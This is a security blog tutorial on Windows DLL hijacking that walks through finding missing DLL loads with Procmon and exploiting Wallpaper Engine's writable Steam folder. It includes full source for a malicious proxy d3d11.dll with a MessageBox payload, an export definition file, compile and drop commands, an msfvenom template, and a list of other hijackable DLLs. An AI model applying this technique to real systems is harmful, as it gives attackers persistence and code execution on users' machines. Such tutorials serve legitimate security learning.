Blog DLL Hijacking - Discovery to Exploitation
Post
Cancel

DLL Hijacking - Discovery to Exploitation

.DLLs

Whenever an executable is launched, it will usually load a number of DLLs (Dynamic Link Libraries) that are required to function properly. These DLLs can provide functions, resources, and variables that can used by other programs allowing for modularization of code, memory management, code reuse, and a drastic reduction in the size of executables.

For example, the kernel32.dll provides applications access to the Win32 APIs such as creation of thread within the address space of another process (CreateRemoteThreadEx).

What if a process attempts to load a DLL that does not exist, or if we can know the order in which DLLs are loaded? This is where DLL Hijacking comes into play and can be used to gain persistence, escalate privileges, and bypass UAC through tricking a process in loading our malicious DLL. This post will cover identifying DLLs that can be hijacked, creating a malicious DLL, and a real-world example exploiting the popular Wallpaper Engine application.


DLL Structure

At it’s core, DLLs are essentially the same as EXEs. They are both PE files, but the main difference is that DLLs to be loaded and cannot be executed on their own.

To execute a DLL’s function, you can use the native Windows executable RunDLL32.exe (loved by attackers). This will execute a function within a dll by specifying the requested entry point: rundll32.exe <dllname>,<entrypoint>


The below example from Microsoft is a simple DLL that has a single function HelloWorld() that pops a message box.

Note: The DllMain() entry point is not required for DLL’s but allow for action on loading and unloading such as initialization and cleanup.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SampleDLL.cpp

#include "stdafx.h"
#define EXPORTING_DLL
#include "sampleDLL.h"
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved
)
{
    return TRUE;
}

void HelloWorld()
{
    MessageBox( NULL, TEXT("Hello World"), TEXT("In a DLL"), MB_OK);
}


A header file is also needed to declare the exported HelloWorld() function:

1
2
3
4
5
6
7
8
9
10
11
// File: SampleDLL.h
//
#ifndef INDLL_H
    #define INDLL_H
    #ifdef EXPORTING_DLL
        extern __declspec(dllexport) void HelloWorld();
    #else
        extern __declspec(dllimport) void HelloWorld();
    #endif

#endif


And a corresponding C++ application (also from Microsoft) to load the DLL and call HelloWorld():

1
2
3
4
5
6
7
8
9
// SampleApp.cpp
//
#include "stdafx.h"
#include "sampleDLL.h"
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
    HelloWorld();
    return 0;
}


Loading a DLL

How does Windows load a DLL? The process is fairly simple and usually follows the following locations:

  1. The application folder
  2. C:\Windows\System32
  3. C:\Windows\System
  4. C:\Windows
  5. The current directory
  6. Directories listed in the system PATH environment variable
  7. Directories listed in the user PATH environment variable

The above is not always followed and depends on how the .dll is called. A fully qualified path can be used pointing to the DLL preventing the search order. Also, the current directory can be removed from the search order by calling SetDllDirectory with an empty string.


We can use Procmon to view an executable loading a DLL. In the below example, I am using Procmon to monitor the Dll’s loaded by DB Browser for SQLite. We can see that the first search for MSVCP140.dll fails from C:\Program Files(x86)\DB Browser for SQLite\MSVCP140.dll. Next, windows searches it again and finds it at C:\Windows\Syswow64\MSVCP140.dll: Dll search order


Hijacking a DLL

DLL hijacking is often called different things but usually mean the same thing. The ultimate goal is to trick a process into loading our malicious DLL instead of the legitimate one.

Within the sphere of DLL Hijacking, there are several ways we can achieve this:

  • Phantom DLL Hijacking
    • Sometimes, a DLL is called that does not exist. If we can identify a non-existent DLL, a malicious one can be created that is loaded by the process
  • DLL Search Order Hijacking
    • If we drop a malicious DLL to a location that is before the location of the legitimate DLL, our will be loaded instead
  • DLL Replacement Hijacking
    • We can swap the legitimate DLL with our malicious version.
  • DLL Redirection
    • We change the PATH environment variable to point to our malicious DLL
  • DLL Side-Loading
    • MITRE/CAPEC lists that this is when a DLL is placed in the WinSxS folder and loaded by a process.

No matter the attack path, if we can load a malicious DLL, it will be executed with the same privileges as the process that loaded it.


Note: I usually see terms thrown around interchangeably, but usually they mean the same thing.

For the attack, a major requirement we face is having write access to where we want to drop our malicious DLL. This is why DLL hijacking is often found in software that does not install within C:\Program Files\ (usually proper ACLs are set if installed there but not always).

Lastly, an attacker can craft a malicious DLL that will be loaded and then proxy the legitimate DLL (called DLL proxying) through Forward Exports. DLL proxying allows the process to properly run while executing our malicious DLL. This prevents the process from a potential crash and was a key technique used in the Stuxnet worm.


Identifying DLLs to Hijack

To identify places that are vulnerable to DLL hijacking, we can use Procmon and monitor a specific process for failure of DLL loading. First, fire up Procmon and set the following filters to include:

  • Result is NAME NOT FOUND
  • Path ends with .dll
  • Process Name is <our targeted process>


For this post, I will be targeting Wallpaper Engine (wallpaper32.exe). This is a popular application that allows users to set animated wallpapers. It is a good target due to it usually being set to run on startup ensuring our malicious DLL will be loaded every time the user logs in. After applying the filters and starting the wallpaper32.exe process, we can see many DLL’s that fail to load: List of failed DLL loads


Ok, so we have a list of DLL’s that fail to load. Now what? The major requirement we face is having write access to the location we want to drop our malicious dll. To start, we can scratch C:\Windows\SysWOW64\* and C:\Windows\System32\* DLL’s off the list due to a standard user not having write access to these locations. Next, we can check the folder permissions of C:\Program Files (x86)\Steam\steamapps\common\wallpaper_engine\ and C:\Program Files (x86)\Steam\steamapps\common\wallpaper_engine\bin.

If you’ve poked around at default Windows permissions, I know what you’re probably thinking. “A standard user can’t write to these locations either…” You’re right in most cases, but it looks like Steam has set explicit permissions for any user to have full control over files within its folder. We can use icacls to view the permissions: Permissions


Since we can write to this folder, we are ready to create our malicious DLL!


Exploitation

For this post, I will be targeting the missing d3d11.dll that wallpaper32.exe attempts to load from c:\program files (x86)\steam\steamapps\common\wallpaper_engine

The quickest way to create a malicious DLL is by using msfvenom: msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f dll -o <target dll name>.dll. I would not recommend this as the exploit can fail due to a process expecting specific exports from the DLL.


Finding the Exports

We can use dumpbin to view the exports of the legitimate d3d11.dll:


dumpbin /exports C:\Windows\System32\d3d11.dll

Exports  
CreateDirect3D11DeviceFromDXGIDeviceD3DKMTDestroyDeviceD3DKMTSetAllocationPriority
CreateDirect3D11SurfaceFromDXGISurfaceD3DKMTDestroySynchronizationObjectD3DKMTSetContextSchedulingPriority
D3D11CoreCreateDeviceD3DKMTEscapeD3DKMTSetDisplayMode
D3D11CoreCreateLayeredDeviceD3DKMTGetContextSchedulingPriorityD3DKMTSetDisplayPrivateDriverFormat
D3D11CoreGetLayeredDeviceSizeD3DKMTGetDeviceStateD3DKMTSetGammaRamp
D3D11CoreRegisterLayersD3DKMTGetDisplayModeListD3DKMTSetVidPnSourceOwner
D3D11CreateDeviceD3DKMTGetMultisampleMethodListD3DKMTSignalSynchronizationObject
D3D11CreateDeviceAndSwapChainD3DKMTGetRuntimeDataD3DKMTUnlock
D3D11CreateDeviceForD3D12D3DKMTGetSharedPrimaryHandleD3DKMTWaitForSynchronizationObject
D3D11On12CreateDeviceD3DKMTLockD3DKMTWaitForVerticalBlankEvent
D3DKMTCloseAdapterD3DKMTOpenAdapterFromHdcD3DPerformance_BeginEvent
D3DKMTCreateAllocationD3DKMTOpenResourceD3DPerformance_EndEvent
D3DKMTCreateContextD3DKMTPresentD3DPerformance_GetStatus
D3DKMTCreateDeviceD3DKMTQueryAdapterInfoD3DPerformance_SetMarker
D3DKMTCreateSynchronizationObjectD3DKMTQueryAllocationResidencyEnableFeatureLevelUpgrade
D3DKMTDestroyAllocationD3DKMTQueryResourceInfoOpenAdapter10
D3DKMTDestroyContextD3DKMTRenderOpenAdapter10_2


Creating the DLL

Now that we have the exports, we can create our malicious DLL. In this example, I’m using a simple MessageBox as the payload.

For the DLL itself, we will need to add the DllMain function along with the above exports. The following code is what we need:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#pragma once
#include <windows.h>
#pragma comment (lib, "user32.lib")

extern "C" {

  VOID hijack() {
      MessageBox(0, "Hijacked!", "Hijacked!", MB_ICONEXCLAMATION );
  }

  BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
  {
      switch (fdwReason)
      {
      case DLL_PROCESS_ATTACH:
          hijack();
          break;
      case DLL_THREAD_ATTACH:
          break;
      case DLL_THREAD_DETACH:
          break;
      case DLL_PROCESS_DETACH:
          break;
      }
      return TRUE;
  }
  #ifdef ADD_EXPORTS
  void CreateDirect3D11DeviceFromDXGIDevice() {hijack();}
  void CreateDirect3D11SurfaceFromDXGISurface() {hijack();}
  void D3D11CoreCreateDevice() {hijack();}
  void D3D11CoreCreateLayeredDevice() {hijack();}
  void D3D11CoreGetLayeredDeviceSize() {hijack();}
  void D3D11CoreRegisterLayers() {hijack();}
  void D3D11CreateDevice() {hijack();}
  void D3D11CreateDeviceAndSwapChain() {hijack();}
  void D3D11CreateDeviceForD3D12() {hijack();}
  void D3D11On12CreateDevice() {hijack();}
  void D3DKMTCloseAdapter() {hijack();}
  void D3DKMTCreateAllocation() {hijack();}
  void D3DKMTCreateContext() {hijack();}
  void D3DKMTCreateDevice() {hijack();}
  void D3DKMTCreateSynchronizationObject() {hijack();}
  void D3DKMTDestroyAllocation() {hijack();}
  void D3DKMTDestroyContext() {hijack();}
  void D3DKMTDestroyDevice() {hijack();}
  void D3DKMTDestroySynchronizationObject() {hijack();}
  void D3DKMTEscape() {hijack();}
  void D3DKMTGetContextSchedulingPriority() {hijack();}
  void D3DKMTGetDeviceState() {hijack();}
  void D3DKMTGetDisplayModeList() {hijack();}
  void D3DKMTGetMultisampleMethodList() {hijack();}
  void D3DKMTGetRuntimeData() {hijack();}
  void D3DKMTGetSharedPrimaryHandle() {hijack();}
  void D3DKMTLock() {hijack();}
  void D3DKMTOpenAdapterFromHdc() {hijack();}
  void D3DKMTOpenResource() {hijack();}
  void D3DKMTPresent() {hijack();}
  void D3DKMTQueryAdapterInfo() {hijack();}
  void D3DKMTQueryAllocationResidency() {hijack();}
  void D3DKMTQueryResourceInfo() {hijack();}
  void D3DKMTRender() {hijack();}
  void D3DKMTSetAllocationPriority() {hijack();}
  void D3DKMTSetContextSchedulingPriority() {hijack();}
  void D3DKMTSetDisplayMode() {hijack();}
  void D3DKMTSetDisplayPrivateDriverFormat() {hijack();}
  void D3DKMTSetGammaRamp() {hijack();}
  void D3DKMTSetVidPnSourceOwner() {hijack();}
  void D3DKMTSignalSynchronizationObject() {hijack();}
  void D3DKMTUnlock() {hijack();}
  void D3DKMTWaitForSynchronizationObject() {hijack();}
  void D3DKMTWaitForVerticalBlankEvent() {hijack();}
  void D3DPerformance_BeginEvent() {hijack();}
  void D3DPerformance_EndEvent() {hijack();}
  void D3DPerformance_GetStatus() {hijack();}
  void D3DPerformance_SetMarker() {hijack();}
  void EnableFeatureLevelUpgrade() {hijack();}
  void OpenAdapter10() {hijack();}
  void OpenAdapter10_2() {hijack();}
  #endif
}

Now create a d3d11.def file with the exports:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
EXPORTS
CreateDirect3D11DeviceFromDXGIDevice @16
CreateDirect3D11SurfaceFromDXGISurface @17
D3D11CoreCreateDevice @18
D3D11CoreCreateLayeredDevice @19
D3D11CoreGetLayeredDeviceSize @20
D3D11CoreRegisterLayers @21
D3D11CreateDevice @22
D3D11CreateDeviceAndSwapChain @23
D3D11CreateDeviceForD3D12 @1
D3D11On12CreateDevice @24
D3DKMTCloseAdapter @2
D3DKMTCreateAllocation @25
D3DKMTCreateContext @26
D3DKMTCreateDevice @27
D3DKMTCreateSynchronizationObject @28
D3DKMTDestroyAllocation @3
D3DKMTDestroyContext @4
D3DKMTDestroyDevice @5
D3DKMTDestroySynchronizationObject @6
D3DKMTEscape @29
D3DKMTGetContextSchedulingPriority @30
D3DKMTGetDeviceState @31
D3DKMTGetDisplayModeList @32
D3DKMTGetMultisampleMethodList @33
D3DKMTGetRuntimeData @34
D3DKMTGetSharedPrimaryHandle @35
D3DKMTLock @36
D3DKMTOpenAdapterFromHdc @37
D3DKMTOpenResource @38
D3DKMTPresent @7
D3DKMTQueryAdapterInfo @8
D3DKMTQueryAllocationResidency @39
D3DKMTQueryResourceInfo @40
D3DKMTRender @41
D3DKMTSetAllocationPriority @42
D3DKMTSetContextSchedulingPriority @43
D3DKMTSetDisplayMode @44
D3DKMTSetDisplayPrivateDriverFormat @9
D3DKMTSetGammaRamp @45
D3DKMTSetVidPnSourceOwner @46
D3DKMTSignalSynchronizationObject @10
D3DKMTUnlock @11
D3DKMTWaitForSynchronizationObject @12
D3DKMTWaitForVerticalBlankEvent @47
D3DPerformance_BeginEvent @48
D3DPerformance_EndEvent @49
D3DPerformance_GetStatus @50
D3DPerformance_SetMarker @51
EnableFeatureLevelUpgrade @13
OpenAdapter10 @14
OpenAdapter10_2 @15


Open a developers CMD prompt and run the following to compile:

cl /DADD_EXPORTS /D_USERDLL /D_WINDLL .\d3d11.cpp /LD /link /DEF:d3d11.def


The last thing we need to do is drop our malicious DLL to the correct directory:

copy d3d11.dll C:\Program Files (x86)\Steam\steamapps\common\wallpaper_engine\


Now, everytime a wallpaper32.exe process is started (usually on a logon), our DLL will be loaded executing our payload! GIF of the hijack


More Places to Hijack

While testing, I found several other DLL’s that can be hijacked with Wallpaper Engine. They include:

DLL’s to be dropped in c:\program files (x86)\steam\steamapps\common\wallpaper_engine\bin\

  • wtsapi32.dll
  • winsta.dll
  • profapi.dll
  • umpdc.dll
  • userenv.dll

DLL’s to be dropped in c:\program files (x86)\steam\steamapps\common\wallpaper_engine\

  • dwmapi.dll
  • winmm.dll
  • wtsapi32.dll
  • msimg32.dll
  • dxgi.dll
  • wldp.dll
  • version.dll
  • ncrypt.dll
  • ntasn1.dll
  • sspicli.dll
  • winsta.dll
  • umpdc.dll

Due to Steam being the culprit of the ACL issues, I’m sure there are plenty more DLL’s that can be hijacked within the \steam\ directory.

Automation

There are several tools to identify and automate DLL hijacking. Some I’d recommend checking out are:

Contents